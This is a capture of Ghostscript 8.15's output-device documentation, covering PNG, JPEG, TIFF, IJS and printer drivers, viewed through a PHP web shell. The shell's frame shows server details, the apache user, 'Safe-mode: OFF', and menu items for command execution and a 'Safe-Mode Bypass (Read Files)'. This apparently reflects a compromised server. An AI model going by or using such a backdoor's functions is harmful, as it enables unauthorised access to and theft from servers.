Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/doc/ghostscript-8.15/ drwxr-xr-x |
Viewing file: Devices.htm (49.75 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | Details of Ghostscript output devicesTable of contentsFor other information, see the Ghostscript overview. You may also be interested in how to build Ghostscript and install it, as well as the description of the driver interface. Documentation for some older, superceded devices has been moved to another document. In general such devices are deprecated and will be removed in future versions of Ghostscript. In general all older printer drivers can be replaced by the ijs interface and one of the available 3rd party raster driver collections. We recommend moving to the ijs device for all such printing. Notes on measurementsSeveral different important kinds of measures appear throughout this document: inches, centimeters and millimeters, points, and bits per pixel.
Image file formatsGhostscript supports output to a variety of image file formats and is widely used for rasterizing postscript and pdf files. A collection of such formats ('output devices' in Ghostscript terminology) are described in this section. Here are some commonly useful driver options that apply to all raster drivers. Options specific to particular file formats are described in their respective sections below.
It is also conventional to call Ghostscript with the '-dSAFER -dBATCH -dNOPAUSE' trio of options when rasterizing to a file. These suppress interactive prompts and enable some security checks on the file to be run. Please see the Use documentation for a complete description. PNG file formatPNG (pronounced 'ping') stands for Portable Network Graphics, and is the recommended format for high-quality images. It supports full quality color and transparency, offers excellent lossless compression of the image data, and is widely supported. Please see the PNG website for a complete description of the format. Ghostscript provides a variety of devices for The pngalpha device is 32-bit RGBA color with transparency indicating pixel coverage. The background is transparent unless it has been explicitly filled. PDF 1.4 transparent files do not give a transparent background with this device. Text and graphics anti-aliasing are enabled by default. OptionsThe pngalpha device has one option. The other png devices have no special options.
ExamplesExamples of how to use Ghostscript to convert postscript to PNG image files: gs -dSAFER -dBATCH -dNOPAUSE -sDEVICE=png16m -dGraphicsAlphaBits=4 \ -sOutputFile=tiger.png examples/tiger.png gs -dSAFER -dBATCH -dNOPAUSE -r150 -sDEVICE=pnggray -dTextAlphaBits=4 \ -sOutputFile=doc-%02d.png doc.pdf JPEG file format (JFIF)Ghostscript includes output drivers that can produce jpeg files from postscript or pdf images. These are the jpeg and jpeggray devices. Technically these produce Independent JPEG Group JFIF (JPEG File Interchange Format) files, the common sort found on the web. Please note that JPEG is a compression method specifically intended for continuous-tone images such as photographs, not for graphics, and it is therefore quite unsuitable for the vast majority of page images produced with PostScript. For anything other than pages containing simple images the lossy compression of the jpeg format will result in poor quality output regardless of the input. To learn more about the distinction, consult a reference about uses and abuses of JPEG, such as the JPEG FAQ http://www.faqs.org/faqs/jpeg-faq/ ExamplesYou can use the JPEG output drivers -- jpeg to produce color JPEG files and jpeggray for grayscale JPEGs -- the same as other file-format drivers: by specifying the device name and an output file name, for example gs -sDEVICE=jpeg -sOutputFile=foo.jpg foo.ps OptionsThe JPEG devices support several special parameters to control the JPEG "quality setting" (DCT quantization level).
At this writing the default JPEG quality level of 75 is equivalent to -dQFactor=0.5, but the JPEG default might change in the future. There is currently no support for any additional JPEG compression options, such as the other DCTEncode filter parameters. PNMThe PNM (portable network map) family of formats are very simple uncompressed image formats commonly used on unix-like systems. They are particularly useful for testing or as input to an external conversion utility. A wide variety of data formats and depths is supported. Devices include pbm pbmraw pgm pgmraw pgnm pgnmraw pnm pnmraw ppm ppmraw pkm pkmraw pksm pksmraw. TIFF file formatsTIFF is a loose collection of formats, now largely superceded by PNG except in applications where backward compatibility or special compression is required. The TIFF file format is described in the TIFF 6.0 Specification published by Adobe Systems Incorporated. There are two unrelated sets of TIFF drivers. There are two color TIFF drivers that produce uncompressed output:
The remaining TIFF drivers all produce black-and-white output with different compression modes:
OptionsThe black-and-white TIFF drivers support creation of files that are comprised of more than a single strip. Multi-strip files reduce the memory requirement on the reader, since readers need only store and process one strip at a time. These drivers provide two parameters beyond the standard set:
The TIFF 6.0 specification, Section 7, page 27, recommends that the size of each strip be about 8 Kbytes. As an example, to generate the 'tiger' in tiffg4 format that has the recommended strip size, use: gs -sDEVICE=tiffg4 -sOutputFile=tiger.tiff -dMaxStripSize=8192 examples/tiger.eps If the value of the MaxStripSize parameter is smaller than a single image row, then no error will be generated, and the TIFF file will be generated correctly using one row per strip. Note that smaller strip sizes increase the size of the file by increasing the size of the StripOffsets and StripByteCounts tables, and by reducing the effectiveness of the compression which must start over for each strip. If the value of MaxStripSize is 0 (the default), then the entire image will be a single strip. The logical order of bits within a byte, FillOrder, tag = 266 is controlled by a parameter: Earlier versions of Ghostscript always generated TIFF files with FillOrder = 2. According to the TIFF 6.0 specification, Section 8, page 32, support of FillOrder = 2 is not required in a Baseline TIFF compliant reader FAXGhostscript supports a variety of fax encodings, both encapsulated in TIFF (see above) and as raw files. The later case is described here. The fax devices are faxg3, faxg32d and faxg4. BMPBMP is a simple uncompressed image format commonly used on MS Windows. It is supported by the devices bmpmono bmpgray bmpsep1 bmpsep8 bmp16 bmp256 bmp16m bmp32b. PCXPCX is an image format sometimes used on MS Windows. It has some support for image compression and alternate color spaces, and so can be a useful way to output CMYK. It is supported by the pcxmono pcxgray pcx16 pcx256 pcx24b pcxcmyk series of devices. PSDPSD is the image format used by Adobe Photoshop. It is supported by the psdcmyk and psdrgb devices. Of special interest with the psdcmyk device is that it supports spot colors. The names of the spot colors must be specified prior to opening a page. This can be done via adding the following to the command line: -c "<< /SeparationColorNames [ /Name1 /Name2 ] >> setpagedevice" -f. The psdcmyk device will support up to four spot colors. To view the results properly, a color needs to be assigned to each of the spot color planes within Photoshop. (Ghostscript assigns black as the default color for all spot colors in the psdcmyk device.) High-level devicesIn addition to raster image files, Ghostscript supports output in a number of 'high-level' formats. These allow Ghostscript to preserve (as much as possible) the drawing elements of the input file maintaining flexibility, resolution independence, and editability. PDF writerThe pdfwrite device outputs PDF. PS writerThe pswrite device outputs postscript. Options
EPS writerThe epswrite device outputs encapsulated postscript. Options
PXLThe pxlmono and pxlcolor devices output HP PCL-XL, a graphic language understood by many recent laser printers. Unicode support for high level devicesImplementing a new high level device, one may need to translate Postscript character codes into Unicode. This can be done pretty simply. For translating a Postscript text you need to inplement the device virtual function text_begin. It should create a new instance of gs_text_enum_t in the heap (let its pointer be pte), and assign a special function to gs_text_enum_t::procs.process. The function will receive pte. It should take the top level font from pte->orig_font, and iterate with font->procs.next_char_glyph(pte, ..., &glyph). The last argument receives a gs_glyph value, which encodes a Postscript character name or CID (and also stores it into pte->returned.current_glyph). Then obtain the current subfont with gs_text_current_font(pte) (it can differ from the font) and call subfont->procs.decode_glyph(subfont, glyph). The return value will be an Unicode code, or GS_NO_CHAR if the glyph can't be translated to Unicode.
Display DevicesGhostscript is often used for screen display of postscript and pdf documents. In many cases, a client or 'viewer' application calls the Ghostscript engine to do the rasterization and handles the display of the resulting image itself, but it is also possible to invoke Ghostscript directly and select an output device which directly handles displaying the image on screen. This section describes the various display-oriented devices that are available in Ghostscript. X Window SystemPerhaps the most common use of of a display device is with the X Window System on unix-like systems. It is the default device on the command line client on such systems, and is used more creatively by the gv client application. The available devices are:
IJS - Inkjet and other raster devicesIJS is a relatively new initiative to improve the quality and ease of use of inkjet printing with Ghostscript. Using IJS, you can add new drivers, or upgrade existing ones, without recompiling Ghostscript. All driver authors are encouraged to adapt their drivers for IJS, and if there is an IJS driver available for your printer, it should be your first choice. Please see the IJS web page for more information about IJS, including a listing of IJS-compatible drivers. A typical command line for IJS is: gs -dSAFER -sDEVICE=ijs -sIjsServer=hpijs -sDeviceManufacturer=HEWLETT-PACKARD -sDeviceModel='DESKJET 990' -dIjsUseOutputFD -sOutputFile=/dev/usb/lp1 -dNOPAUSE -- examples/tiger.eps Individual IJS command line parameters are as follows:
Generic Ghostscript options that are particularly relevant for IJS are summarized below:
Building IJSIJS is included by default on Unix gcc builds, and also in autoconf'ed builds. Others may need some makefile tweaking. First, make sure the IJS device is selected: DEVICE_DEVS2=$(DD)ijs.dev Next, make sure that the path and execution type are set in the top level makefile. The values for Unix are as follows: IJSSRCDIR=ijs IJSEXECTYPE=unix At present, "unix" and "win" are the only supported values for IJSEXECTYPE. If neither sounds appropriate for your system, it's possible that more porting work is needed. Last, make sure that ijs.mak is included in the top level makefile. It should be present right after the include of icclib.mak. IJS is not inherently platform-specific. We're very much interested in taking patches from people who have ported it to non-mainstream platforms. And once it's built, you won't have to recompile Ghostscript to support new drivers! HP Deskjet official driversHP provides official drivers for many of their Deskjet printer models. In order to use these drivers, you will need the HP Inkjet Server as well as Ghostscript, available from http://hpinkjet.sourceforge.net. This version of Ghostscript includes the patch from version 0.97 of the hpijs software. If you are installing hpijs from an RPM, you will only need the hpijs RPM, not the Ghostscript-hpijs one, as the code needed to work with hpijs is already included. Note that newer version of the hpijs drivers support the IJS protocol. If you can, you should consider using the ijs driver instead. Among other things, the hpijs Ghostscript driver is Unix-only, and is untested on older Unix platforms. As of the 0.97 version, hpijs supports the following printer models:
You will need to add the following line to your makefile: DEVICE_DEVS2=$(DD)DJ630.dev $(DD)DJ6xx.dev $(DD)DJ6xxP.dev $(DD)DJ8xx.dev $(DD)DJ9xx.dev $(DD)DJ9xxVIP.dev $(DD)AP21xx.dev Please see http://hpinkjet.sourceforge.net for more information about this driver. Thanks to the folks at HP, especially David Suffield for making this driver available and working to integrate it with Ghostscript. Gimp-Print driver collectionThe Gimp-Print project provides a large collection of printer drivers with an IJS interface. Please see their website for details. MS Windows printersThis section was written by Russell Lang, the author of Ghostscript's MS Windows-specific printer driver, and updated by Pierre Arnaud, the current maintainer. The mswinpr2 device uses MS Windows printer drivers, and thus should work with any printer with device-independent bitmap (DIB) raster capabilities. The printer resolution cannot be selected directly using PostScript commands from Ghostscript: use the printer setup in the Control Panel instead. It is however possible to specify a maximum resolution for the printed document (see below). If no Windows printer name is specified in -sOutputFile, Ghostscript prompts for a Windows printer using the standard Print Setup dialog box. You must set the orientation to Portrait and the page size to that expected by Ghostscript; otherwise the image will be clipped. Ghostscript sets the physical device size to that of the Windows printer driver, but it does not update the PostScript clipping path. If a Windows printer name is specified in -sOutputFile using the format "%printer%printer_name", for instance gs ... -sOutputFile="%printer%Apple LaserWriter II NT" then Ghostscript attempts to open the Windows printer without prompting (except, of course, if the printer is connected to FILE:). Ghostscript attempts to set the Windows printer page size and orientation to match that expected by Ghostscript, but doesn't always succeed. It uses this algorithm:
The Ghostscript physical device size is updated to match the Windows printer physical device. Supported command-line parametersThe mswinpr2 device supports a limited number of command-line parameters (e.g. it does not support setting the printer resolution). The recognized parameters are the following:
Supported options (device properties)Several extra options exist which cannot be set through the command-line, but only by executing the appropriate PostScript setup code. These options can be set through the inclusion of a setup file on the command-line: gs ... setup.ps ... The setup.ps file is responsible for the device selection, therefore you should not specify the -sDEVICE=mswinpr2 option on the command-line if you are using such a setup file. Here is an example of such a setup file: mark /NoCancel true % don't show the cancel dialog /BitsPerPixel 4 % force 4 bits/pixel /UserSettings << /DocumentName (Ghostscript document) % name for the Windows spooler /MaxResolution 360 % maximum document resolution >> (mswinpr2) finddevice % select the Windows device driver putdeviceprops setdevice This example disables the progress dialog (same as the -dNoCancel option), forces a 4 bits/pixel output resolution and specifies additional user settings, such as the document name (which will be displayed by the Windows spooler for the queued document) and the maximum resolution (here 360 dpi). It then finds and selects an instance of the MS Windows device printer and activates it. This will show the standard printer dialog, since no /OutputFile property was specified. The following options are available:
These properties can be queried through the currentpagedevice operator. The following PostScript code snippet shows how to do it for some of the properties: currentpagedevice /BitsPerPixel get == % displays the selected depth currentpagedevice /UserSettings get % get the additional options.. /us exch def % ..and assign them to a variable us /DocumentName get == % displays the document name us /SelectedRange get == % displays the selected page range % other misc. information (don't rely on them) us /Color get == % 1 => monochrome output, 2 => color output us /PrintCopies get == % displays the number of copies requested There are a few undocumented parameters stored in the UserSettings dictionary. You should not rely on them. Their use is still experimental and they could be removed in a future version. Duplex printingIf the Windows printer supports the duplex printing feature, then it will also be available through the mswinpr2 device. You can query for this support through the /Duplex property of the currentpagedevice. If it returns null, then the feature is not supported by the selected printer. Otherwise, true means that the printer is currently set up to print on both faces of the paper and false that it is not, but that it can. The following example shows how to print on both faces of the paper (using the long side of the paper as the reference): << /Duplex true /Tumble false >> setpagedevice
Sun SPARCprinterThis section was contributed by Martin Schulte. With a SPARCprinter you always buy software that enables you to do PostScript printing on it. A page image is composed on the host, which sends a bitmap to the SPARCprinter through a special SBUS video interface. So the need for a Ghostscript interface to the SPARCPrinter seems low, but on the other hand, Sun's software prints some PostScript drawings incorrectly: some pages contain a thin vertical line of rubbish, and on some Mathematica drawings the text at the axes isn't rotated. Ghostscript, however, gives the correct results. Moreover, replacing proprietary software should never be a bad idea. The problem is that there has yet been no effort to make the SPARCPrinter driver behave like a BSD output filter. I made my tests using the script shown here. InstallationAdd sparc.dev to DEVICE_DEVS and compile Ghostscript as described in the documentation on how to build Ghostscript. Afterwards you can use the following script as an example for printing after modifying it with the right pathnames -- including for {GSPATH} the full pathname of the Ghostscript executable: outcmd1='/vol/local/lib/troff2/psxlate -r' outcmd2='{GSPATH} -sDEVICE=sparc -sOUTPUTFILE=/dev/lpvi0 -' if [ $# -eq 0 ] then $outcmd1 | $outcmd2 else cat $* | $outcmd1 | $outcmd2 fi ProblemsSince /dev/lpi can be opened only for exclusive use, if another job has it open (engine_ctl_sparc or another Ghostscript are the most likely candidates), Ghostscript stops with "Error: /invalidfileaccess in --.outputpage--" In case of common printer problems like being out of paper, a warning describing the reason is printed to stdout. The driver tries access again each five seconds. Due to a problem with the device driver (in the kernel) the reason for printer failure isn't always reported correctly to the program. This is the case, for instance, if you open the top cover (error E5 on the printer's display). Look at the display on the printer itself if a "Printer problem with unknown reason" is reported. Fatal errors cause the print job to be terminated. Note: there is some confusion whether the resolution setting should be the integers 300 and 400, or the symbolic constants DPI300 and DPI400 (defined in lpviio.h). Ghostscript releases have had it both ways. It is currently the latter. However, INOUE Namihiko reports (in bug #215256) that the former works better for him. If anyone has a definitive answer, please let us know. Apple dot matrix printerThis section was contributed by Mark Wedel <master@cats.ucsc.edu>. The Apple Dot Matrix Printer (DMP) was a parallel predecessor to the Imagewriter printer. As far as I know, Imagewriter commands are a superset of the Dot Matrix printer's, so the driver should generate output that can be printed on Imagewriters. To print images, the driver sets the printer for unidirectional printing and 15 characters per inch (cpi), or 120dpi. It sets the line feed to 1/9 inch. When finished, it sets the printer to bidirectional printing, 1/8-inch line feeds, and 12 cpi. There appears to be no way to reset the printer to initial values. This code does not set for 8-bit characters (which is required). It also assumes that carriage return-newline is needed, and not just carriage return. These are all switch settings on the DMP, and I have configured them for 8-bit data and carriage return exclusively. Ensure that the Unix printer daemon handles 8-bit (binary) data properly; in my SunOS 4.1.1 printcap file the string "ms=pass8,-opost" works fine for this. Finally, you can search devdemp.c for "Init" and "Reset" to find the strings that initialize the printer and reset things when finished, and change them to meet your needs. Special and Test devicesThe devices in this section are intended primarily for testing. They may be interesting as code examples, as well. Raw 'bit' devicesThere are a collection of 'bit' devices that don't do any special formatting but output 'raw' binary data for the page images. These are used for benchmarking but can also be useful when you want to directly access the raster data. The raw devices are bit bitrgb bitcmyk. Bounding box outputThere is a special bbox "device" that just prints the bounding box of each page. You select it in the usual way: gs -dSAFER -dNOPAUSE -dBATCH -sDEVICE=bbox It prints the output in a format like this: %%BoundingBox: 14 37 570 719 %%HiResBoundingBox: 14.308066 37.547999 569.495061 718.319158 Currently, it always prints the bounding box on stderr; eventually, it should also recognize -sOutputFile=. By default, white objects don't contribute to the bounding box because many files fill the whole page with white before drawing other objects. This can be changed by: << /WhiteIsOpaque true >> setpagedevice Note that this device, like other devices, has a resolution and a (maximum) page size. As for other devices, the product (resolution x page size) is limited to approximately 500K pixels. By default, the resolution is 4000 DPI and the maximum page size is approximately 125", or approximately 9000 default (1/72") user coordinate units. If you need to measure larger pages than this, you must reset both the resolution and the page size in pixels, e.g., gs -dNOPAUSE -dBATCH -sDEVICE=bbox -r100 -g500000x500000 Permutation (DeviceN color model)With no additional parameters, the device named "permute" looks to Ghostscript like a standard CMYK contone device, and outputs a PPM file, using a simple CMYK->RGB transform. This should be the baseline for regression testing. With the addition of -dPermute=1, the internal behavior changes somewhat, but in most cases the resulting rendered file should be the same. In this mode, the color model becomes "DeviceN" rather than "DeviceCMYK", the number of components goes to six, and the color model is considered to be the (yellow, cyan, cyan, magenta, 0, black) tuple. This is what's rendered into the memory buffer. Finally, on conversion to RGB for output, the colors are permuted back. As such, this code should check that all imaging code paths are 64-bit clean. Additionally, it should find incorrect code that assumes that the color model is one of DeviceGray, DeviceRGB, or DeviceCMYK. Currently, the code has the limitation of 8-bit continuous tone rendering only. An enhancement to do halftones is planned as well. Note, however, that when testing permuted halftones for consistency, it is important to permute the planes of the default halftone accordingly, and that any file which sets halftones explicitly will fail a consistency check. spotcmyk (DeviceN color model)The spotcmyk device was created for debugging and testing of the DeviceN extensions to Ghostscript that were released in version 8.0. There are also another device (devicen) in the same source file. It were created for testing however it are not actually useful except as example code. The spotcmyk device was also designed to provide example code for a device which supports spot colors. Spot colors need to be specified prior to opening the first page. This can be done via adding the following to the command line: -c "<< /SeparationColorNames [ /Name1 /Name2 ] >> setpagedevice" -f. The spotcmyk device produces a binary data file (similar to the bitcmyk device) for the CMYK data. This data file has the name specified by the "OutputFile" parameter. The device also produces a binary data file (similar to the bitmono device) for each spot color plane. These data files have the name specified by the "OutputFile" parameter with "sn" appended to the end (where "n" is the spot color number 0 to 12)". After the spotcmyk device produces the binary data files, the files are read and PCX format versions of these files are created with ".pcx" appended to the binary source file name. If the the spotcmyk is being used with three spot colors and the "OutputFile" parameter is xxx then the following files would be created by the device: xxx - binary CMYK data xxxs0 - binary data for first spot color xxxs1 - binary data for second spot color xxxs2 - binary data for third spot color xxx.pcx - CMYK data in PCX format xxxs0.pcx - first spot color in PCX format xxxs1.pcx - second spot color in PCX format xxxs2.pcx - third spot color in PCX format The spotcmyk device has the creation of the binary data files separated from the creation of the PCX files since the source file is intended as example code and many people may not be interested in the PCX format. The PCX format was chosen because it was simple to implement from preexisting code and viewers are available. The PCX format does have the disadvantage that most of those viewers are on Windows. XCF (DeviceN color model)The XCF file format is the native image format for the GIMP program. This format is currently supported by two devices: xcfrgb and xcfcmyk. We have been warned by the people supporting the GIMP program that they reserve the right to change the XCF format at anytime and thus these devices may become invalid. They are being included in the documentation because we have received some questions about these devices do. The XCF devices were created for testing of the DeviceN extensions to Ghostscript which were released in version 8.0. The xcfrgb device uses a DeviceRGB process color model and creates a normal XCF file. The xcfcmyk device was created as a means of viewing spot colors for those users that do not have access to either Photoshop (see the PSD devices) or a PCX viewer (see the spotcmyk device). The xcfcmyk device starts by using a DeviceCMYK process color model. The DeviceCMYK process color model allows the xcfcmyk device to also support spot colors. Spot colors need to be specified prior to opening the first page. This can be done via adding the following to the command line: -c "<< /SeparationColorNames [ /Name1 /Name2 ] >> setpagedevice" -f. After a page is complete, the xcfcmyk converts the CMYK image data into RGB for storing in the XCF output file. The XCF format does not currently support CMYK data directly. The spot color planes are converted into alpha channel planes. This is done because the XCF format does not currently support spot colors. Copyright © 1996-2002 artofcode LLC. All rights reserved. This software is provided AS-IS with no warranty, either express or implied. This software is distributed under license and may not be copied, modified or distributed except as expressly authorized under the terms of the license contained in the file LICENSE in this distribution. For more information about licensing, please refer to http://www.ghostscript.com/licensing/. For information on commercial licensing, go to http://www.artifex.com/licensing/ or contact Artifex Software, Inc., 101 Lucas Valley Road #110, San Rafael, CA 94903, U.S.A., +1(415)492-9861. Ghostscript version 8.15, 22 September 2004 |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0128 ]-- |